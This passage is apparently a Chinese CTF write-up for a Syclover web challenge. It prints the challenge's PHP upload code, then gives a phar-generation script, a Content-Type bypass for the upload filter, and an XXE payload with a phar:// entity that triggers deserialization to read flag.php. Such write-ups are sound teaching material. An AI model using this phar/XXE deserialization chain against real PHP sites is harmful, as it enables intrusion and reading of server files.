rel="stylesheet" type="text/css" href="./userpanel.css"></head><body class="login" mycollectionplug="bind"> <div class="login_m"><div class="login_logo"><img src="http://120.79.186.183/jpg/677406.jpg" width="216" height="130"></div><div class="login_boder"><div class="login_padding" id="login_model"><div style="text-align:center; vertical-align:middel;"><h3>告訴我你想說的</h3></div> <form action="./index.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}"> <div style="text-align:center; vertical-align:middel;"> <textarea type="text" id='divcss5' name="data">(3)讀取config.php文件內容
//config.php <?php class File{public $filetype;public $filename;public function __wakeup(){echo "wake up ";var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));}public function check($filetype,$filename){$filename = $filename;$filetype = $filetype;if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {echo "只允許上傳jpg格式文件";exit();}}public function upload($filetemp){$target_file = getcwd()."/uploads/".md5($filetemp+$_SERVER['HTTP_REFERER']).".jpg";$handle = fopen($filetemp, "r");$content = '';while(!feof($handle)){$content .= fread($handle, 8080);} if (preg_match("/xml|#|SYSTEM|DOCTYPE|fliter|uploads|www/i",$content)){echo "Invalid file!!!!"; exit(); }fclose($handle);if (move_uploaded_file($filetemp, $target_file)) {echo "your file is here:".$target_file;}}}(4)讀取upload.php文件內容
//upload.php <!DOCTYPE html> <html> <head><title>Ayrain</title> </head> <body> <h3>上傳一個文件,讓我康康你這是什么亂七八糟的東西。</h3> <form action="./upload.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}"><input type="file" name="file" /><input type="submit" name="Check" /> </form></body> </html> <?php error_reporting(0); include("config.php");$filename = $_FILES["file"]["name"];$filetype = $_FILES["file"]["type"];$filetemp = $_FILES["file"]["tmp_name"];$file = new File();$file->check($filetype,$filename);$file->upload($filetemp); ?>?2、通讀源碼發(fā)現(xiàn)獲得flag的點在config.php的File類的wake_up構造方法里,利用上傳點,上傳可以觸發(fā)wake_up的phar文件,結合之前的xxe,讀取phar文件進行觸發(fā)。
生成phar文件,把下面代碼保存到自己的服務器下面,直接訪問會報錯,需要先將php.ini的phar.readonly選項改為Off,還有把前面的分號注釋符去掉,重啟服務器,然后訪問,會發(fā)現(xiàn)在當前目錄生成了一個phar.phar的文件
<?php class File{ public function __wakeup(){ echo "wake up "; } } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new File(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>訪問upload.php,上傳生成的phar.phar文件,這里似乎只要將Content-Type改為image/jpg就行了,第二個條件似乎沒有生效
xxe觸發(fā)反序列化:
?
<?xml version = "1.0"?> <!DOCTYPE note [<!ENTITY hacker SYSTEM "phar://./uploads/你上傳的文件名"> ]> <name>&hacker;</name>總結
以上是生活随笔為你收集整理的Syclover-Web题解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 二叉搜索树(城市数据库)
- 下一篇: char知识解析